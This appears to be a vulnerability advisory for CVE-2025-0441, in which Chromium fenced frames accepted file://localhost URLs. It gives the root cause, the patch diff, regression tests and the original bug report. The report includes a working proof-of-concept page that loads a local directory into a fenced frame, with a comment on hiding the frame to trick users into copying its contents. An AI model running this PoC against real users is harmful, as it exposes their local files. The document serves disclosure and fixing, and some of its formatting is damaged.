CVE-2025-0441
Overview
Background
- Fenced frame
- An isolated embedded frame in Blink that restricts communication with its embedder for privacy, and whose loadable URLs are constrained by a default-constructor allowlist.
- `IsValidFencedFrameURL`
- The
blinkcommon helper that decides whether a givenGURLis permitted to load inside a fenced frame. - `net::IsLocalhost`
- A
netutility that returns true when a URL’s host resolves to localhost (e.g.localhost,127.0.0.1,[::1]), independent of the URL’s scheme. - `GURL::SchemeIs`
- A
GURLmethod that checks whether the URL’s scheme equals a specified scheme constant such asurl::kHttpScheme.
Root Cause Analysis
The allowlist in IsValidFencedFrameURL intended to permit only https://* URLs, about:blank, and http://localhost URLs. To cover the localhost case it called net::IsLocalhost(url), but that function only inspects the host component and never checks the scheme. As a result any URL whose host was localhost passed the check regardless of scheme, so a URL like file://localhost/path/to/file was treated as a valid fenced frame URL — violating the invariant that only http/https (and about:blank) schemes should ever be loadable.
The fix introduces an anonymous-namespace helper IsHttpLocalhost that requires both url.SchemeIs(url::kHttpScheme) and net::IsLocalhost(url), and substitutes it for the bare net::IsLocalhost call. The https://localhost case remains covered by the pre-existing url::kHttpsScheme branch, so tightening to the http scheme loses no legitimate functionality while closing the file:// bypass.
net::IsLocalhost) as a stand-in for a scheme-plus-host condition, letting non-http schemes slip through; the fix pairs the host check with an explicit SchemeIs(url::kHttpScheme) test via the new IsHttpLocalhost helper.Attack Path
- Craft a localhost `file://` URL
An attacker constructs a URL such as
file://localhost/path/to/filewhose host is literallylocalhostbut whose scheme isfile. - Assign it to a fenced frame
The page creates an
HTMLFencedFrameElementand sets its config to that URL viaFencedFrameConfig::Create. - Bypass the scheme allowlist
IsValidFencedFrameURLcallsnet::IsLocalhost, which returns true on host alone, so thefile://URL is accepted despite not beinghttp/https/about:blank. - Load local content in an isolated frame
The fenced frame proceeds to navigate to the
file://resource, loading local-filesystem content in a context where the sandboxed/isolated fenced frame boundary was not designed to host it.
Impact Assessment
file:// (and other non-http localhost-hosted) URLs inside a fenced frame in the renderer process, which the fenced frame threat model never intended to permit. The precondition is the ability to create or configure a fenced frame with an attacker-chosen URL string; the payoff is an inappropriate-implementation logic bypass that escapes the intended scheme allowlist, potentially exposing local resources within the privacy-isolated frame.Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified | |
forthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc |
modified |
Files Changed
third_party/blink/common/fenced_frame/fenced_frame_utils.ccthird_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.ccthird_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
Audit Directions
- Host-only predicates gating scheme-sensitive decisionsSearch for calls to
net::IsLocalhost(and similar host/origin helpers) that are used to authorize loads or grant capabilities without an accompanyingSchemeIscheck. - Allowlist checks assuming implicit schemeReview URL validators like
IsValidFencedFrameURLacross features (portals, prerender, prefetch, service workers) where a “localhost is fine” rule may admitfile://,blob:, or other unexpected schemes. - `file://` and `blob:` acceptance in isolated contextsAudit fenced frames, sandboxed iframes, and other privacy/isolation boundaries for code paths that fail to explicitly reject non-
http/httpsschemes before navigation.
Patch
From 3505b15143306c95caf36552fef3992271d6b04e Mon Sep 17 00:00:00 2001
From: Liam Brady <lbrady@google.com>
Date: Tue, 15 Oct 2024 19:43:24 +0000
Subject: [PATCH] Fenced frame: Prevent file://localhost/* files from loading.
Fenced frames are meant to be able to load the following URLs with a
default constructor:
- about:blank URLs
- https://* URLs
- http://localhost URLs
The `net::IsLocalhost()` check that is currently being used for the last
case is only checking that the URL starts with "localhost", not that
the scheme is http/https. This allows the fenced frame to load URLs like file://localhost/path/to/file. This CL tightens the check to also
check that the scheme is HTTP. The "https://localhost/*" case will
still be covered by the "https://*" check.
Bug: 368628042
Change-Id: If53573f5701c28e5674ecb524191cddc12b950fe
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/5902121
Reviewed-by: Shivani Sharma <shivanisha@chromium.org>
Commit-Queue: Liam Brady <lbrady@google.com>
Cr-Commit-Position: refs/heads/main@{#1368957}
---
diff --git a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
index 18c6d28..0ddbcdd 100644
--- a/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
+++ b/third_party/blink/common/fenced_frame/fenced_frame_utils.cc
@@ -14,13 +14,21 @@
#include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
#include "url/gurl.h"
+namespace {
+
+bool IsHttpLocalhost(const GURL& url) {
+ return url.SchemeIs(url::kHttpScheme) && net::IsLocalhost(url);
+}
+
+} // namespace
+
namespace blink {
bool IsValidFencedFrameURL(const GURL& url) {
if (!url.is_valid())
return false;
return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
- net::IsLocalhost(url)) &&
+ IsHttpLocalhost(url)) &&
!url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+ std::vector<String> test_cases = {
+ "http://example.com",
+ "blob:https://example.com",
+ "file://path/to/file",
+ "file://localhost/path/to/file",
+ };
+
Document& doc = GetDocument();
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com/")));
- doc.body()->AppendChild(fenced_frame);
+ for (const String& url : test_cases) {
+ auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+ fenced_frame->setConfig(FencedFrameConfig::Create(url));
+ doc.body()->AppendChild(fenced_frame);
+ }
+
histogram_tester_.ExpectUniqueSample(
kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
- Document& doc = GetDocument();
-
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com")));
- doc.body()->AppendChild(fenced_frame);
- histogram_tester_.ExpectUniqueSample(
- kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+ FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+ const key = token();
+ const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+ "/fenced-frame/resources/embeddee.html", [key]);
+ attachFencedFrame(url);
+
+ const result = await nextValueFromServer(key);
+ assert_equals(result, "PASS",
+ "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
index 16a38e3..08a2eb2 100644
--- a/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
+++ b/third_party/blink/renderer/core/html/fenced_frame/html_fenced_frame_element_test.cc
@@ -188,27 +188,24 @@
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlHTTPDefault) {
+ std::vector<String> test_cases = {
+ "http://example.com",
+ "blob:https://example.com",
+ "file://path/to/file",
+ "file://localhost/path/to/file",
+ };
+
Document& doc = GetDocument();
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com/")));
- doc.body()->AppendChild(fenced_frame);
+ for (const String& url : test_cases) {
+ auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
+ fenced_frame->setConfig(FencedFrameConfig::Create(url));
+ doc.body()->AppendChild(fenced_frame);
+ }
+
histogram_tester_.ExpectUniqueSample(
kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
-}
-
-TEST_F(HTMLFencedFrameElementTest, HistogramTestIncompatibleUrlOpaque) {
- Document& doc = GetDocument();
-
- auto* fenced_frame = MakeGarbageCollected<HTMLFencedFrameElement>(doc);
- fenced_frame->setConfig(
- FencedFrameConfig::Create(String("http://example.com")));
- doc.body()->AppendChild(fenced_frame);
- histogram_tester_.ExpectUniqueSample(
- kFencedFrameCreationOrNavigationOutcomeHistogram,
- FencedFrameCreationOutcome::kIncompatibleURLDefault, 1);
+ FencedFrameCreationOutcome::kIncompatibleURLDefault, test_cases.size());
}
TEST_F(HTMLFencedFrameElementTest, HistogramTestResizeAfterFreeze) {
diff --git a/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
new file mode 100644
index 0000000..a8b16d7
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fenced-frame/http-localhost-url.https.html
@@ -0,0 +1,25 @@
+<!DOCTYPE html>
+<title>Test navigate fenced frame to http://localhost URL</title>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/common/utils.js"></script>
+<script src="resources/utils.js"></script>
+<script src="/common/utils.js"></script>
+<script src="/common/get-host-info.sub.js"></script>
+
+<body>
+<script>
+promise_test(async (t) => {
+ const key = token();
+ const url = generateURL("http://localhost:" + get_host_info().HTTP_PORT +
+ "/fenced-frame/resources/embeddee.html", [key]);
+ attachFencedFrame(url);
+
+ const result = await nextValueFromServer(key);
+ assert_equals(result, "PASS",
+ "The fenced frame should load a http://localhost URL.");
+}, 'http://localhost URLs can load');
+
+</script>
+</body>
+</html>
Original Bug Report
FencedFrame allows loading local file directories in http(s?) context
Steps to reproduce the problem
- Enable fenced frame for your PoC server (#privacy-sandbox-enrollment-overrides flag, add your PoC server domain to this list; or do PoC on websites where fencedframe usage is allowed by default)
- serve exploit.html file, navigate to //$my_poc_server_url/exploit.html
- observe fencedframe displaying file:///etc folder
PoC (exploit.html)
<body>
<script>
(async function start() {
var frame = document.body.appendChild(document.createElement("fencedframe"))
frame.setAttribute("height", "600")
frame.setAttribute("width", "600")
// we can make the iframe not visible to user to trick them into running cmd+a + cmd+c to steal the contents of the folder through clipboard
// frame.setAttribute('style', `position: absolute; left: -2000; width: 5000px; height: 5000px;`)
const blob = new Blob([``], { type: 'text/javascript' });
const blobURL = URL.createObjectURL(blob);
await window.sharedStorage.worklet.addModule(blobURL);
var fencedFrameConfig = await window.sharedStorage.selectURL(
'ab-testing',
[
{ url: "file://localhost/etc" },
],
{
resolveToConfig: true
}
);
frame.config = fencedFrameConfig;
}());
</script>
</body>
Problem Description
any ://localhost/ URI is a valid fenced frame URI https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19
bool IsValidFencedFrameURL(const GURL& url) {
if (!url.is_valid())
return false;
return (url.SchemeIs(url::kHttpsScheme) || url.IsAboutBlank() ||
net::IsLocalhost(url)) && // <--------- does not check for protocol
!url.parsed_for_possibly_invalid_spec().potentially_dangling_markup;
}
Why can’t we load file://localhost/etc/passwd then? (theory, I’ve not confirmed it yet) https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
response to request for file directories has no headers, I suspect (not confirmed yet) that’s why should_enforce_fenced_frame_opt_in evaluates to false and the error is not thrown.
const bool should_enforce_fenced_frame_opt_in =
response_should_be_rendered_ && response_head_->headers &&
frame_tree_node_->IsInFencedFrameTree() &&
!(url.IsAboutBlank() || url.SchemeIsBlob() ||
url.SchemeIs(url::kDataScheme));
if (should_enforce_fenced_frame_opt_in &&
!IsOptedInFencedFrame(*response_head_->headers))
Version affects both stable and canary
Summary
FencedFrame allows loading local file directories in http(s?) context
Custom Questions
Reporter credit:
someoneverycurious
Additional Data
Category: Security
Chrome Channel: Stable
Regression: N/A
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q="Supports-Loading-Mode HTTP response header"&ss=chromium/chromium/src
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/navigation_request.cc;l=4482-4501?q=%22Supports-Loading-Mode%20HTTP%20response%20header%22&ss=chromium%2Fchromium%2Fsrc
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/common/fenced_frame/fenced_frame_utils.cc;l=19